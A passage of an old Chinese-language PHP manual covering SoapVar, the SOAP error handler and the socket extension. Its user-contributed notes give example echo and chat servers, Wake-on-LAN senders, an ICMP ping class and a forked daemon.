后退 | 起点 | 前进
SoapServer->setClass() | 上一级 | SoapVar->__construct()


SoapVar->__construct()

(no version information, might be only in CVS)

SoapVar->__construct() -- SoapVar constructor

说明

class SoapVar {

__construct ( mixed data, int encoding [, string type_name [, string type_namespace [, string node_name [, string node_namespace]]]] )

}

Constructs a new SoapVar object.

参数

data

The data to pass or return.

encoding

The encoding ID, one of the XSD_... constants.

type_name

The type name.

type_namespace

The type namespace.

node_name

The XML node name.

node_namespace

The XML node namespace.

范例

例子 1. Some examples

<?php
class SOAPStruct {
    function SOAPStruct($s, $i, $f)
    {
        $this->varString = $s;
        $this->varInt = $i;
        $this->varFloat = $f;
    }
}
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$struct = new SOAPStruct('arg', 34, 325.325);
$soapstruct = new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPStruct", "http://soapinterop.org/xsd");
$client->echoStruct(new SoapParam($soapstruct, "inputStruct"));
?>

参见

SoapClient->__soapCall()
SoapParam->__construct()

add a note add a note User Contributed Notes
OrionI
11-Jul-2005 10:30
This class is useful when dealing with the "anyType" type (generic object reference): it lets you specify the xsd type to provide "late binding" type information.

Here's a really simple example: I have a .NET service that can take a string, a date, and integer, or other types, so I use the .NET "object" type. Here's an example of such a service--this one just tells me what type I passed in. (It's nice to use when checking to see if PHP passed in the type information the way .NET expects it.)

//inside a service.asmx.cs file...
[WebMethod]
public string WhatTypeIsThis(object ObjectParameter)
{
   return "You passed in a " + ObjectParameter.GetType().Name
     + ": " + ObjectParamter.ToString();
}

To call this service with a string from PHP, I used this code:
<?php
//set up the service client using WSDL
$client = new SoapClient("http://localhost/folder/service.asmx?WSDL");

//This is the variable that will be typed as an XSD string
$typedVar = new SoapVar("mystring", XSD_STRING, "string", "http://www.w3.org/2001/XMLSchema");
//This is the wrapper object for incoming parameters
$wrapper->ObjectParameter = $typedVar;
//This is the named parameter object that will be passed in to the service
$params = new SoapParam($wrapper, "WhatTypeIsThis");

//call the service with the string
$result = $client->WhatTypeIsThis($params);
//show the result
echo $result->WhatTypeIsThisResult;
?>

The output from this should be:
"You passed in a String: mystring"

The SOAP message that is passed in looks like this:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://tempuri.org/">
   <SOAP-ENV:Body>
       <ns1:WhatTypeIsThis>
           <ns1:ObjectParameter xsi:type="xsd:string">mystring</ns1:ObjectParameter>
       </ns1:WhatTypeIsThis>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

It's that xsi:type="xsd:string" that gives .NET the heads up that though the ObjectParameter is being passed in as an object, it is also a string.

When trying other types, it's helpful to see exactly what is being sent to the service--to see the SOAP messages like the one above, use the trace option when making your SOAP client and then call the $client->__getLastRequest() function. (See http://www.php.net/soap_soapclient_getlastrequest)  You may need to use try/catch constructs if you're generating errors.

Another helpful function is var_dump($client->__getTypes())--it shows how PHP parsed the WSDL file to create types to pass back and forth.
add a note add a note

后退 | 起点 | 前进
SoapServer->setPersistence() | 上一级 | use_soap_error_handler


use_soap_error_handler

(PHP 5)

use_soap_error_handler -- Set whether to use the SOAP error handler and return the former value

说明

bool use_soap_error_handler ( [bool handler] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
msynak dot no dot spam dot please at wp dot pl
02-Mar-2006 10:45
This function seems to disable/enable automatic error reporting through SOAP. Use it to prevent user "on the other side" from seeing internal errors of your application.
Sometimes it is better to send no answer at all than to inform users that your application has e.g. parse errors.

Usage:

// disable error reporting
use_soap_error_handler(false);

// enable error reporting
use_soap_error_handler(true);

Default state of soap error handler is ENABLED.

It seems that the best practice is to disable it in constructor of your SOAP request handling class and enable in destructor.

For some situations, you may want to create your own error handling function instead (see set_error_handler and set_exception_handler) and throw custom SoapFaults with info like: "We have technical difficulties at the moment. Sorry!".
add a note add a note

后退 | 起点 | 前进
SoapVar->__construct() | 上一级 | Socket Functions


Socket Functions

PHP 手册
后退 前进

CXXXVII. Socket Functions

简介

The socket extension implements a low-level interface to the socket communication functions based on the popular BSD sockets, providing the possibility to act as a socket server as well as a client.

For a more generic client-side socket interface, see
stream_socket_client(),
stream_socket_server(),
fsockopen(), and
pfsockopen().

When using these functions, it is important to remember that while many of them have identical names to their C counterparts, they often have different declarations. Please be sure to read the descriptions to avoid confusion.

Those unfamiliar with socket programming can find a lot of useful material in the appropriate Unix man pages, and there is a great deal of tutorial information on socket programming in C on the web, much of which can be applied, with slight modifications, to socket programming in PHP. The Unix Socket FAQ might be a good start.

需求

要编译本扩展模块不需要外部库文件。

安装

The socket functions described here are part of an extension to PHP which must be enabled at compile time by giving the --enable-sockets option to configure.

注: IPv6 支持是 PHP 5.0.0 新加的。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

AF_UNIX (integer)

AF_INET (integer)

AF_INET6 (integer)

SOCK_STREAM (integer)

SOCK_DGRAM (integer)

SOCK_RAW (integer)

SOCK_SEQPACKET (integer)

SOCK_RDM (integer)

MSG_OOB (integer)

MSG_WAITALL (integer)

MSG_PEEK (integer)

MSG_DONTROUTE (integer)

SO_DEBUG (integer)

SO_REUSEADDR (integer)

SO_KEEPALIVE (integer)

SO_DONTROUTE (integer)

SO_LINGER (integer)

SO_BROADCAST (integer)

SO_OOBINLINE (integer)

SO_SNDBUF (integer)

SO_RCVBUF (integer)

SO_SNDLOWAT (integer)

SO_RCVLOWAT (integer)

SO_SNDTIMEO (integer)

SO_RCVTIMEO (integer)

SO_TYPE (integer)

SO_ERROR (integer)

SOL_SOCKET (integer)

PHP_NORMAL_READ (integer)

PHP_BINARY_READ (integer)

SOL_TCP (integer)

SOL_UDP (integer)

Socket Errors

The socket extension was written to provide a usable interface to the powerful BSD sockets. Care has been taken that the functions work equally well on Win32 and Unix implementations. Almost all of the sockets functions may fail under certain conditions and therefore emit an E_WARNING message describing the error. Sometimes this doesn't happen to the desire of the developer. For example the function socket_read() may suddenly emit an E_WARNING message because the connection broke unexpectedly. It's common to suppress the warning with the @-operator and catch the error code within the application with the socket_last_error() function. You may call the socket_strerror() function with this error code to retrieve a string describing the error. See their description for more information.

注: The E_WARNING messages generated by the socket extension are in English though the retrieved error message will appear depending on the current locale (LC_MESSAGES):
Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

范例

例子 1. Socket example: Simple TCP/IP server

This example shows a simple talkback server. Change the address and port variables to suit your setup and execute. You may then connect to the server with a command similar to: telnet 192.168.1.53 10000 (where the address and port match your setup). Anything you type will then be output on the server side, and echoed back to you. To disconnect, enter 'quit'.

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
    echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
    echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
    if (($msgsock = socket_accept($sock)) < 0) {
        echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
        break;
    }
    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));

    do {
        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
            echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
            break 2;
        }
        if (!$buf = trim($buf)) {
            continue;
        }
        if ($buf == 'quit') {
            break;
        }
        if ($buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        $talkback = "PHP: You said '$buf'.\n";
        socket_write($msgsock, $talkback, strlen($talkback));
        echo "$buf\n";
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>

例子 2. Socket example: Simple TCP/IP client

This example shows a simple, one-shot HTTP client. It simply connects to a page, submits a HEAD request, echoes the reply, and exits.

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
    echo $out;
}

echo "Closing socket...";
socket_close($socket);
echo "OK.\n\n";
?>

目录
socket_accept -- Accepts a connection on a socket
socket_bind -- Binds a name to a socket
socket_clear_error -- Clears the error on the socket or the last error code
socket_close -- Closes a socket resource
socket_connect -- Initiates a connection on a socket
socket_create_listen -- Opens a socket on port to accept connections
socket_create_pair -- Creates a pair of indistinguishable sockets and stores them in an array
socket_create -- Create a socket (endpoint for communication)
socket_get_option -- Gets socket options for the socket
socket_getpeername -- Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
socket_getsockname -- Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
socket_last_error -- Returns the last error on the socket
socket_listen -- Listens for a connection on a socket
socket_read -- Reads a maximum of length bytes from a socket
socket_recv -- Receives data from a connected socket
socket_recvfrom -- Receives data from a socket, connected or not
socket_select -- Runs the select() system call on the given arrays of sockets with a specified timeout
socket_send -- Sends data to a connected socket
socket_sendto -- Sends a message to a socket, whether it is connected or not
socket_set_block -- Sets blocking mode on a socket resource
socket_set_nonblock -- Sets nonblocking mode for file descriptor fd
socket_set_option -- Sets socket options for the socket
socket_shutdown -- Shuts down a socket for receiving, sending, or both
socket_strerror -- Return a string describing a socket error
socket_write -- Write to a socket

add a note add a note User Contributed Notes
aeolianmeson at NOSPAM dot blitzeclipse dot com
30-May-2006 03:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant
18-May-2006 08:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
   $packet = "";
   for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
   for($j = 0; $j < 16; $j++)
   {
     for($k = 0; $k < 6; $k++)
     {
       $str = substr($mac, $k * 2, 2);
       $dec = hexdec($str);
       $packet .= chr($dec);
     }
   }
   $ret = fwrite($nic, $packet);
   fclose($nic);
   if($ret)
     return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it
24-Apr-2006 09:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
       $packet = "";
       for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
       for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
       $nic = fsockopen("udp://" . $ip, $port));
       if($nic==false){
           return false;
           fclose($nic);
       }
       fwrite($nic, $packet);
       fclose($nic);
       return true;
}
?>
arplynn at gmail dot com
22-Jan-2006 04:19
If you want to use any complicated preexisting protocols, you may find the function pack (http://php.net/pack) useful.
bmatheny at mobocracy dot net
17-Sep-2005 09:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk
22-Aug-2005 09:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
   // Add a 0 to the end of the data, if it's an "odd length"
   if (strlen($data)%2)
       $data .= "\x00";

   // Let PHP do all the dirty work
   $bit = unpack('n*', $data);
   $sum = array_sum($bit);

   // Stolen from: Khaless [at] bigpond [dot] com
   // The code from the original ping program:
   //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
   //    sum += (sum >> 16);            /* add carry */
   // which also works fine, but it seems to me that
   // Khaless will work on large data.
   while ($sum>>16)
       $sum = ($sum >> 16) + ($sum & 0xffff);

   return pack('n*', ~$sum);
}
?>
m dot hoppe at hyperspeed dot de
03-Sep-2004 09:36
Very good step-by-step tutorial for a network daemon is here:
http://www.php-mag.net/itr/online_artikel [next]
[before] /psecom,id,484,nodeid,114.html

Sorry, I was forced to split this link. :-(
aidan at php dot net
18-Aug-2004 08:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidan.dotgeek.org/lib/?file=function.hexdump.php
Toppi at kacke dot de
18-Jun-2004 10:06
Here another socketclass which can handle the most importand things.
http://kacke.de/php_samples/source.php?f=socke.inc

Here a little Chatserver based on this class.
http://kacke.de/php_samples/source.php?f=pline.php

Maybe its helpful :)

Toppi
KnoB
11-Jun-2004 08:35
A little example that shows how to implement a simple multi-client iterative server (without forking). Launch the server and connect multiple telnet clients on it. It's a basic chat program.

#!/usr/bin/php -q
<?php
error_reporting(E_ALL);

set_time_limit(0);
ob_implicit_flush();

$address = '127.0.0.1';
$port = 8888;

function handle_client($allclient, $socket, $buf, $bytes) {
   foreach($allclient as $client) {
       socket_write($client, "$socket wrote: $buf");
   }
}

if (($master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
   echo "socket_create() failed: reason: " . socket_strerror($master) . "\n";
}

socket_set_option($master, SOL_SOCKET,SO_REUSEADDR, 1);

if (($ret = socket_bind($master, $address, $port)) < 0) {
   echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($master, 5)) < 0) {
   echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

$read_sockets = array($master);

while (true) {
   $changed_sockets = $read_sockets;
   $num_changed_sockets = socket_select($changed_sockets, $write = NULL, $except = NULL, NULL);
   foreach($changed_sockets as $socket) {
       if ($socket == $master) {
           if (($client = socket_accept($master)) < 0) {
               echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
               continue;
           } else {
               array_push($read_sockets, $client);
           }
       } else {
           $bytes = socket_recv($socket, $buffer, 2048, 0);
           if ($bytes == 0) {
               $index = array_search($socket, $read_sockets);
               unset($read_sockets[$index]);
               socket_close($socket);
           } else {
               $allclients = $read_sockets;
               array_shift($allclients);    // remove master
               handle_client($allclients, $socket, $buffer, $bytes);
           }
       }

   }
}

?>
noSanity
18-May-2004 10:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
   $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
   socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
   $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
   // format start time
   $start_time = explode (" ", $this->timer_start_time);
   $start_time = $start_time[1] + $start_time[0];
   // get and format end time
   $end_time = explode (" ", microtime());
   $end_time = $end_time[1] + $end_time[0];
   return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
   $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
   $type = "\x08"; // 8 echo message; 0 echo reply message
   $code = "\x00"; // always 0 for this program
   $chksm = "\x00\x00"; // generate checksum for icmp request
   $id = "\x00\x00"; // we will have to work with this later
   $sqn = "\x00\x00"; // we will have to work with this later

   // now we need to change the checksum to the real checksum
   $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

   // now lets build the actual icmp packet
   $this->request = $type.$code.$chksm.$id.$sqn.$data;
   $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
   // lets catch dumb people
   if ((int)$timeout <= 0) $timeout=5;
   if ((int)$percision <= 0) $percision=3;

   // set the timeout
   socket_set_option($this->icmp_socket,
     SOL_SOCKET,  // socket level
     SO_RCVTIMEO, // timeout option
     array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
     );

   if ($dst_addr)
   {
     if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
     {

     } else {
       $this->errstr = "Cannot connect to $dst_addr";
       return FALSE;
     }
     $this->Build_Packet();
     $this->start_time();
     socket_write($this->icmp_socket, $this->request, $this->request_len);
     if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
     {
       $this->time = $this->get_time($percision);
       return $this->time;
     } else {
       $this->errstr = "Timed out";
       return FALSE;
     }
   } else {
     $this->errstr = "Destination address not specified";
     return FALSE;
   }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com
19-Jan-2004 01:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
   // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
   for($i=0;$i<strlen($data);$i += 2)
   {
       if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
       else $bits = unpack('C*',$data[$i]);
       $sum += $bits[1];
   }

   // Fold 32-bit sum to 16 bits
   while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
   $checksum = pack('n1',~$sum);
   return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net
06-Oct-2003 07:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey@spr.at, upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>

>TO "judeman at yahoo dot com":
I haven't found setsockopt() function ip PHP, I've found an equialent: socket_set_option().
bart at mediawave dot nl
06-Jan-2003 07:42
Here is a good article on some of the differences between HTTP 1.0 and HTTP 1.1.

http://wireless.java.sun.com/midp/questions/chunking/
talmage at usi-rpg dot com
04-Jan-2003 04:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org
10-Jul-2002 12:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc
23-Feb-2002 01:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

http://www.ecst.csuchico.edu/~beej/guide/net/
davem at olsusa dot com
18-Feb-2002 10:27
Below is a simple forked daemon I wrote in PHP. I haven't seen one yet anywhere else, so I thought some people might be wondering how to do  it. Execute
with php -q <file>

<?PHP

/*

   PHP forked daemon
   Standalone PHP binary must be compiled with --enable-sockets and --enable-pcntl
   Dave M. -2002
       Online Services USA
*/

function sig_handler($signo) {

     switch($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         case SIGUSR1:
             print "Caught SIGUSR1...\n";
             break;
         case SIGCHLD:
             while( pcntl_waitpid(-1,$status,WNOHANG)>0 ) {
             }
             break;
         case SIGINT:
       exit;
         default:
             // not implemented yet...
             break;
     }

}

function interact($sock) {

   // Custom code goes here... e.g: socket_read() socket_write()...

}

function become_daemon() {

   $child = pcntl_fork();
   if($child) {
       exit; // kill parent
   }
   posix_setsid(); // become session leader
   chdir("/");
   umask(0); // clear umask
   return posix_getpid();

}

function open_pid_file($file) {

   if(file_exists($file)) {
       $fp = fopen($file,"r");
       $pid = fgets($fp,1024);
       fclose($fp);
       if(posix_kill($pid,0)) {
           print "Server already running with PID: $pid\n";
           exit;
       }
       print "Removing PID file for defunct server process $pid\n";
       if(!unlink($file)) {
           print "Cannot unlink PID file $file\n";
           exit;
       }
   }
   if($fp = fopen($file,"w")) {
       return $fp;
   } else {
       print "Unable to open PID file $file for writing...\n";
       exit;
   }
}

function change_identity($uid,$gid) {
   global $pid_file;
   if(!posix_setgid($gid)) {
       print "Unable to setgid to $gid!\n";
       unlink($pid_file);
       exit;
   }
   if(!posix_setuid($uid)) {
       print "Unable to setuid to $uid!\n";
       unlink($pid_file);
       exit;
   }

}

error_reporting (4);

set_time_limit (0);

ob_implicit_flush ();

$pid_file = '/tmp/php_daemon.pid';

$underpriv_uid = '99'; // uid 99 == user nobody, at least on my system.
$underpriv_gid = '99';

$port = 10000;
$address = 0; // 0 binds to all addresses, may not work on fbsd

$quit = 0;

pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGINT, "sig_handler");

$fh = open_pid_file($pid_file);

if (($sock = socket_create (AF_INET, SOCK_STREAM, 0)) < 0) {
   print "socket_create() failed: reason: " . socket_strerror ($sock) . "\n";
}

if (($ret = socket_bind ($sock, $address, $port)) < 0) {
   print "socket_bind() failed: reason: " . socket_strerror ($ret) . "\n";
}

if (($ret = socket_listen ($sock, 0)) < 0) {
   print "socket_listen() failed: reason: " . socket_strerror ($ret) . "\n";
}

change_identity($underpriv_uid,$underpriv_gid);

print "Server ready. Waiting for connections.....\n";

$pid = become_daemon();
fputs($fh,$pid);
fclose($fh);

while(!$quit) {

   if (($connection = socket_accept($sock)) < 0) {
       next;
   }

   if( ($child = pcntl_fork()) == -1 ) {
       print  "Could not fork!!\n";
       print "Dying...\n";
       $quit++;
   }
   elseif($child == 0) {
       socket_close($sock);
       interact($connection);
       exit;
   }

   socket_close($connection);

}

if(posix_getpid() == $pid) {
   unlink($pid_file);
}
judeman at yahoo dot com
05-Jun-2001 01:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
   // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
   $sock = socket(AF_INET, SOCK_DGRAM, 0);

   // if the file handle assigned to socket is less than 0 then opening the socket failed
   if($sock < 0)
   {
       echo "socket() failed, error: " . strerror($sock) . "\n";
   }

   // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
   $opt_ret = setsockopt($sock, 1, 6, TRUE);

   // if the return value is less than one, an error occured setting the options
   if($opt_ret < 0)
   {
       echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
   }

   // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
   $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
   if($send_ret < 0)
   {
   echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);
add a note add a note

后退 | 起点 | 前进
use_soap_error_handler | 上一级 | socket_accept


socket_accept

(PHP 4 >= 4.1.0, PHP 5)

socket_accept -- Accepts a connection on a socket

Description

resource socket_accept ( resource socket )

After the socket socket has been created using socket_create(), bound to a name with socket_bind(), and told to listen for connections with socket_listen(), this function will accept incoming connections on that socket. Once a successful connection is made, a new socket resource is returned, which may be used for communication. If there are multiple connections queued on the socket, the first will be used. If there are no pending connections, socket_accept() will block until a connection becomes present. If socket has been made non-blocking using socket_set_blocking() or socket_set_nonblock(), FALSE will be returned.

The socket resource returned by socket_accept() may not be used to accept new connections. The original listening socket socket, however, remains open and may be reused.

Returns a new socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

See also
socket_bind(),
socket_connect(),
socket_listen(),
socket_create(), and
socket_strerror().

add a note add a note User Contributed Notes
simon at 180solutions dot com
16-May-2005 11:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan
12-Dec-2003 04:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.
diogo at transoft dot com dot br
19-Aug-2003 04:32
Accepting a connection using php-sockets:

$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR getprotobyname("TCP")*/);

$PORT = 5000;

socket_bind($fd, "0.0.0.0", $PORT);

while(true)
{
$remote_fd = socket_accept($fd);

remote_socket_client_handle($remote_fd);

}

It is simple!
add a note add a note

后退 | 起点 | 前进
Socket Functions | 上一级 | socket_bind


socket_bind

(PHP 4 >= 4.1.0, PHP 5)

socket_bind -- Binds a name to a socket

说明

bool socket_bind ( resource socket, string address [, int port] )

Binds the name given in address to the socket described by socket.

参数

socket

A valid socket resource created with socket_create().

address

If the socket is of the AF_INET family, the address is an IP in dotted-quad notation (e.g. 127.0.0.1).

If the socket is of the AF_UNIX family, the address is the path of a Unix-domain socket (e.g. /tmp/my.sock).

port (Optional)

The port parameter is only used when connecting to an AF_INET socket, and designates the port on the remote host to which a connection should be made.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

